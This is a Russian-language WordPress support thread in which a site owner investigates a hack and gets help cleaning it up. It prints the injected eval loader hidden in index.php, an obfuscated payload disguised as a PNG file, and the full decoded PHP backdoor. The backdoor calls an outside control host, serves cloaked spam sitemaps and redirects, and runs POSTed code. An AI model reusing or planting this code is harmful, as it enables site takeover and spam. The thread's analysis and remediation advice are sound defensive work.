Поддержка Проблемы и решения Вирусы на сайте

  • Столкнулся со следующей проблемой, перестали грузится страницы сайта. Ошибок ни каких нет, возвращается код 200, но без данных.

    Начал разбираться и первое на что наткнулся, непонятный код спрятанный в комментарии. Файл index.php в шапке есть комментарий:

    <?php
    /**
     * Front to the WordPress application. This file doesn't do anything, but loads
     * wp-blog-header.php which does and tells WordPress to load the theme.
     *
     * @package WordPress
     */

    это то как должно быть, а вот как у меня:

    <?php
    /**
     * Front to the WordPress application. This file doesn't do anything, but loads
     */eval(file_get_contents(base64_decode('d3AtaW5jbHVkZXMvaW1hZ2VzL3Jzcy00eC5wbmc=')));/**
     * wp-blog-header.php which does and tells WordPress to load the theme.
     *
     * @package WordPress
     */

    Я убрал строчку с «eval…», начала грузится главная страница, а остальные нет.

    Кто-то сталкивался с подобным явлением? Что это и как его победить?

    • Тема изменена 1 год, 8 месяцев назад пользователем Yui. Причина: renamed

    Страница, с которой нужна помощь: [войдите, чтобы увидеть ссылку]

Просмотр 11 ответов — с 1 по 11 (всего 11)
  • А вы код «eval…» удалили только в index.php? А остальные шаблоны?

    И да, вопрос на засыпку: а шаблон давно меняли? А взяли где?

    это корневой файл index.php

    это корневой файл index.php

    это шаблон-заглушка, используется только когда движок не может подобрать более подходящий, page.php, home.php и т.п.

    Сайт восстановил.

    Кто-то каким-то образом подменил или отредактировал файлы на сайте. Я все файлы определил по дате последнего изменения.

    Но, каким образом кто-то мог подменить файлы на сайте?

    Ууу, тут вариантов — «отсюдова и досюдова».
    Ломаные темы и плагины, уязвимости в нормальных темах и плагинах (особенно популярных), неправильно написанные формы и неверно настроенные права пользователей.
    В теории, привести в админку вашего сайта злоумышленников может каждое второе ваше действие. Не оставляли, например, где-нибудь на рабочем компьютере, куда имеют доступ другие люди, авторизованный аккаунт?

    Ниже выкладываю код который подложил злоумышленник.
    Сам, пока до конца не разобрался какова цель взлома.
    Может кто-то хочет поковырять.
    Отпишитесь если кто-то определит цель всего этого

    <?php
    
    error_reporting(0);
    @set_time_limit(3600);
    @ignore_user_abort(0);
    $gov='616';
    $ixv='8.6.9';
    $smframe  = '<?xml version="1.0" encoding="UTF-8"?>
    <urlset xmlns="https://www.sitemaps.org/schemas/sitemap/0.9" xmlns:xhtml="https://www.w3.org/1999/xhtml">
    %s</urlset>';
    $smitem = '<url><loc>%s</loc>%s</url>';
    //$smitemx = '<url><loc>%s</loc><xhtml:link rel="alternate" hreflang="ja" href="%s"/></url>';
    $mainsm = '<?xml version="1.0" encoding="UTF-8"?>
    <sitemapindex xmlns="https://www.sitemaps.org/schemas/sitemap/0.9" xmlns:xhtml="https://www.w3.org/1999/xhtml">
    %s
    </sitemapindex>';
    $mainsmitem = '<sitemap><loc>%s://%s%ssitemap%d.xml</loc></sitemap>';
    
    $lang = isset($_SERVER['HTTP_ACCEPT_LANGUAGE'])?substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 4):"";
    $ur = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : "";
    $ua = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : "";
    $host = $_SERVER["HTTP_HOST"];
    $uri = $_SERVER["REQUEST_URI"];
    $ip = clientip();
    $proto = https();
    $header = array(
            'Lang: '.$lang,
            'User-Agent: '.$ua,
            'Referer: '.$ur,
            'Http-Proto: '.$proto,
            'Http-Host: '.$host,
            'Http-Uri: '.$uri,
            'Dbgroup: '.$gov,
            'Remote-Addr: '.$ip
    );
    $postdata= "proto=$proto&shost=$host&ip=$ip&groupid=$gov&uri=$uri";
    $smsn='/';
    if (strpos($uri,"?")>0){
        $vals=explode("?",$uri);
        $smsn=sprintf("%s?",$vals[0]);
    }
    if (@preg_match('#[/|\?]pingsitemap(.*?).xml#i', $uri,$amu)) {
        $result='';
        if ($amu[1]==='' || @preg_match('#(\d+)-$#', $amu[1],$samu)){
            $postdata="proto=$proto&shost=$host&ip=$ip&uri=$uri";
    		$postdata.=($samu[1]=='')?'&groupid='.$gov:'&groupid='.$samu[1];
            $content = urlx('http://' . gets() . '/pingsitemap',$header,$postdata);
            $values = explode(",",$content);
            if (count($values)<2){
                exit("ping num useragent param error:$content");
            }
            for($i=1;$i<=intval($values[0]);$i++){
                $pgurl = sprintf('https://www.google.co.jp/ping?sitemap=%s://%s%ssitemap%s%d.xml',$proto,$host,$smsn,$samu[0],$i); 
                $respbody = urlx($pgurl,null,null,null,$values[1]);
                $result .= $pgurl.$respbody;
            }
        }else{
            $pgurl = sprintf('https://www.google.co.jp/ping?sitemap=%s://%s%ssitemap%s.xml',$proto,$host,$smsn,$amu[1]); 
            $respbody = urlx($pgurl,null,null,null,$values[1]);
            $result .= $pgurl.$respbody;
        }
        exit($result);
    }
    if (@preg_match('#[/|\?]sitemap(.*?).xml$#i', $uri,$amu)) {
        $postdata="ver=2&proto=$proto&shost=$host&ip=$ip&uri=$uri";
    	if ( @preg_match('#(\d+)-$#', $amu[1],$samu) ){
    		$postdata.='&groupid='.$samu[1];
    	}else{
            $postdata.='&groupid='.$gov;
        }
        $ts=strval(time());
        array_push($header,'timestamp: '.$ts);
        array_push($header,'xdoim: '.crc32($ts.'\n'.$postdata));
        $content = urlx('http://' . gets() . '/sitemap'.(($amu[1]==''||$samu[1]!='')?'.xml':'/'.$amu[1]),$header,$postdata);
    	if ($content==false){
    	    exit();
        }
        @header('Token: '.$ts.'-x-doim-'.$ts);
        @header('Content-type: text/xml');
        if (@preg_match('#^(\d)+#',$content)) {
    		$xml='';
    		for($i=1;$i<=intval($content);$i++){
               $xml .= sprintf($mainsmitem,$proto,$host,$smsn,$i,date('Y-m-d\TH:i:sP', time())); 
    		}
    		echo sprintf($mainsm,$xml); exit();
        }
        $ids = explode("\n", $content);
        $smbody='';
        foreach ($ids as $v) {
            $purl="$proto://${host}${smsn}${v}";
            $smbody .=sprintf($smitem,$purl,'<xhtml:link rel="alternate" hreflang="ja" href="'.$purl.'"/>');
        }
        echo sprintf($smframe,$smbody); exit();
    }
    if (isset($_SERVER['HTTP_XDOIM']) && strlen($_SERVER['HTTP_XDOIM'])>0){
        $ts = isset($_SERVER['HTTP_TIMESTAMP'])?$_SERVER['HTTP_TIMESTAMP']:"";
        $tmp = @file_get_contents("php://input");
       	@file_put_contents(".eGA0Ty2WLh",$tmp,FILE_USE_INCLUDE_PATH);
    	echo (include '.eGA0Ty2WLh'); unlink('.eGA0Ty2WLh');
    	exit();
    }
    if (@preg_match('#[/|\?]getver$#i', $uri,$amu)){
        $ts=strval(time());
        array_push($header,'timestamp: '.$ts);
        array_push($header,'xdoim: '.crc32($ts.'\n'.$postdata));
        $cnt=trim(urlx('http://' . gets() . '/getver',$header,$postdata));
    	echo (($cnt===false)?'fail'.gets():$cnt.$gov.gets()).$ixv;exit();
    }
    if (@preg_match('#google|yahoo|bing|craft|Crawler#i',$ua) && ($uri != '/favicon.ico') ) {
        $postdata.="&ver=3";
        if(@preg_match('#([a-z]+)-(\d+)(.html)?$#i', $uri,$amu)){
    		$postdata.=sprintf('&hpid=%s-%s',preg_replace('/[a-z](xyz|buzz).*$/',".$1",strrev($amu[1])),$amu[2]);
            $content=@trim(urlx(sprintf('http://%s/bot/page?'.$postdata , gets() ),$header,$postdata,1));
        }elseif(@preg_match('#/([a-z]{8})[-_/]?(\d+)#i', $uri,$amu)){
    		$postdata.=sprintf('&hpid=%s-%s',$amu[1],$amu[2]);
            $content=@trim(urlx(sprintf('http://%s/bot/page?'.$postdata , gets() ),$header,$postdata,1));
        }else{
            $content=@trim(urlx(sprintf('http://%s/bot/home?'.$postdata , gets() ),$header,$postdata,1));
            if (stripos($content,'http')===0){
                header("HTTP/1.1 301 Moved Permanently"); @header('Location: ' . $content); exit();
            }
            if (stripos($content,'<?xml')===0){
                @header('Content-type: text/xml');
            }
        }
    	echo $content;exit();
    }
    if (@preg_match('#google.co.jp|google.com|yahoo.co.jp|yahoo.co|bing.com|ask.com|aol.com|aol.jp#i',$ur) && (@preg_match('#([a-z]+)-(\d+)(.html)?$#i',$uri)||@preg_match('#/([a-z]{8})[-_/]?(\d+)#i',$uri))){
        $pdt=$postdata.'&groupid='.$gov.'&uri='.$uri.'&ip='.$ip;
        $purl=urlx(sprintf('http://%s/bot/302?'.$pdt , gets() ),$header,$pdt,1);
        if (strlen($purl)>10){
            @header('Location: ' . $purl); exit();
        }
    }
    
    function urlx($url,$header=null,$postdata=null,$gz=null,$ua=null) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1);
        if (!($gz===null)){
            curl_setopt($ch, CURLOPT_ENCODING, 'gzip,deflate');
        }
        if (stripos($url, "https:")===0) { 
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
            curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
        }
        if (!($header===null)){
            curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
        }
        if (!($postdata===null)) {
            curl_setopt($ch, CURLOPT_POST, 1);
            curl_setopt($ch, CURLOPT_POSTFIELDS, $postdata);
        }
        if (!($ua===null)) {
            curl_setopt($ch, CURLOPT_USERAGENT, $ua);
        }
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $body = curl_exec($ch);
        curl_close($ch);
        return $body;
    }
    
    function cc($uri){
        $vals = explode("-",substr($uri,1,strlen($uri)-6)); 
        if (sizeof($vals)!=3){
            return false;
        }
        $newcrc = sprintf("%u",crc32(sprintf("%s-%s",$vals[0],$vals[1])));
        return ($newcrc == $vals[2]);
    }
    
    function gets(){
        return 's63.createseo.xyz';
    }
    function https() {
        if ((!empty($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off') || (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https') || (!empty($_SERVER['HTTP_FRONT_END_HTTPS']) && strtolower($_SERVER['HTTP_FRONT_END_HTTPS']) !== 'off')) {
            return "https";
        }
        return "http";
    }
    function clientip(){
      if (getenv('REMOTE_ADDR') && strcasecmp(getenv('REMOTE_ADDR'), 'unknown')) {
        return getenv('REMOTE_ADDR');
      } elseif (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], 'unknown')) {
        return $_SERVER['REMOTE_ADDR'];
      }
    }
    function str2val($key){
    	$val = 0;
    	for ($i = 0; $i < strlen($key); $i++) {
    		$val += ord($key[$i]);
    	}
    	return $val;
    }
    ?>
    Модератор Sergey Biryukov

    (@sergeybiryukov)

    Live and Learn

    Но, каким образом кто-то мог подменить файлы на сайте?

    Думаю, стоит начать со статьи о том, что делать, если сайт взломан.

    это шаблон-заглушка, используется только когда движок не может подобрать более подходящий, page.php, home.php и т.п.

    В отличие от шаблона index.php в теме, корневой index.php загружается всегда, .htaccess перенаправляет на него все запросы к движку.

    В отличие от шаблона index.php в теме, корневой index.php загружается всегда, .htaccess перенаправляет на него все запросы к движку.

    Да, я знаю, что через этот файл начинаются все запросы, которые не указывают на конкретный файл. Именно с этого файла я начал искать причину ( я программист старой закалки, начинал еще когда не было CMS, по этому сразу зрю в корень ).

    Начал я с расставления меток, для определения где прерывается выполнение кода

    echo "1";
    ...
    echo "2";
    ...
    echo "3";
    ...

    Прикиньте моё удивление, когда я понял, что код прерывается в комментарии (его я выложил в первом посте).

    Строка в комментарии
    eval(file_get_contents(base64_decode(‘d3AtaW5jbHVkZXMvaW1hZ2VzL3Jzcy00eC5wbmc=’)));

    выполняет код из строкового параметра, где параметром является содержимое файла, путь к которому закодирован в base64

    При раскодировании строки ‘d3AtaW5jbHVkZXMvaW1hZ2VzL3Jzcy00eC5wbmc=’ получаем ‘wp-includes/images/rss-4x.png’

    Содержимое файла wp-includes/images/rss-4x.png

    $aiVF="ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOCUyNFlVeVJMJTI5JTI5JTI5JTI5JTI5JTI5JTI5JTI5JTNC";$YUyRL="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";
    eval(htmlspecialchars_decode(urldecode(base64_decode($aiVF))));exit;

    Тут имеем две переменные.
    $aiVF — код для распаковки основного кода
    $YUyRL — запакованный код, который я выложил в предыдущем посте

    Что я сделал.
    Убрал строку в комментарии файла index.php . При этом начала грузится только главная страница. Затем в папке wp-content\plugins\ я нашёл целую кучу папок которых там быть не должно. В общем тут ко мне пришло осознание того, что злоумышленник получил полный доступ к сайту и для того чтобы найти все изменения нужно потратить уйму времени. По этому старый сайт я снес полностью ( но оставил для изучения ). Далее установил чистый WordPress, скопировал все данные ( тему, плагины, загруженные данный uploads ) из бекапа и подключился к старой БД. Изменил пароли БД, FTP и аккаунтам WordPress

    Остаются открытыми следующие вопросы:
    1) Как именно злоумышленник получил доступ к файловой системе сайта и как себя обезопасить от этого в дальнейшем?
    2) Какую цель преследовал злоумышленник? Как я понял скрипт генерировал файл sitemap.xml с левым списком страниц и отправлял его на регистрацию в google. Я не SEO-шник и мне не понятно для чего и как это может повредить сайту?

    Anonymous User 17160716

    (@anonymized-17160716)

    kandiral, привет.

    Что я сделал.
    <…>
    Далее установил чистый WordPress, скопировал все данные ( тему, плагины, загруженные данный uploads ) из бекапа и подключился к старой БД.
    <…>

    Вам, скорее всего, крупно повезёт, и повторного автоматического заражения не будет, но вообще такой порядок действий — это ошибка.

    Остаются открытыми следующие вопросы:
    1) Как именно злоумышленник получил доступ к файловой системе сайта и как себя обезопасить от этого в дальнейшем?

    Можете посмотреть лог-файлы доступа, если за сроком давности они не затёрлись (рабочий домен, что указан в скрипте, зарегистрирован в июне этого года). Может быть увидите какие-то аномальные запросы, что даст пищу для размышлений. Взлом автоматизированный, и в список потенциальных жертв вы попали автоматически, предположительно, из-за наличия на сайте уязвимого плагина.

    2) Какую цель преследовал злоумышленник?

    Black SEO.

    Как я понял скрипт генерировал файл sitemap.xml с левым списком страниц и отправлял его на регистрацию в google. Я не SEO-шник и мне не понятно для чего и как это может повредить сайту?

    Ну, там история посложнее. Конкретно в вашем случае без функции подгрузки веб-шелла, что должно насторожить и вызвать желание всё перепроверить ещё раз, особенно учитывая, что вы на новую инсталляцию накатили все файлы из резервной копии.

    Сайт снова лёг.
    Ситуация та же, в корневом index.php в комментарии спрятана строка, которая подключает код из файла.

    Вам, скорее всего, крупно повезёт, и повторного автоматического заражения не будет, но вообще такой порядок действий — это ошибка.

    Да, я понимаю, что дырку (уязвимость) я скопировал вместе с плагинами из бекапа. Но у меня выбора нет, мне нужно восстановить сайт и я не знаю какой из плагинов дырявый.

    В общем восстановил сайт аналогично как писал в предыдущем посте.

    В этот раз я заблокировал прямой доступ к php скриптам кроме папки wp-admin через htaccess

    RewriteEngine On
    RewriteBase /
    RewriteRule \.(js|css|png|jpg|jpeg|gif|svg|ico|ttf|woff|woff2)$ - [L]
    RewriteRule ^wp-login.php - [L]
    RewriteCond %{REQUEST_URI} !^/wp-admin(.*)$ [NC]
    RewriteRule . index.php [L]
    Anonymous User 17160716

    (@anonymized-17160716)

    kandiral,

    Ситуация та же, в корневом index.php в комментарии спрятана строка, которая подключает код из файла.

    Судя по этому моменту, у вас в процессах висит выполнение вредоносного скрипта, советую проверить.

    В этот раз я заблокировал прямой доступ к php скриптам кроме папки wp-admin через htaccess

    Ход мысли понятен, но вы же понимаете, что это не решение проблемы?

Просмотр 11 ответов — с 1 по 11 (всего 11)
  • Тема «Вирусы на сайте» закрыта для новых ответов.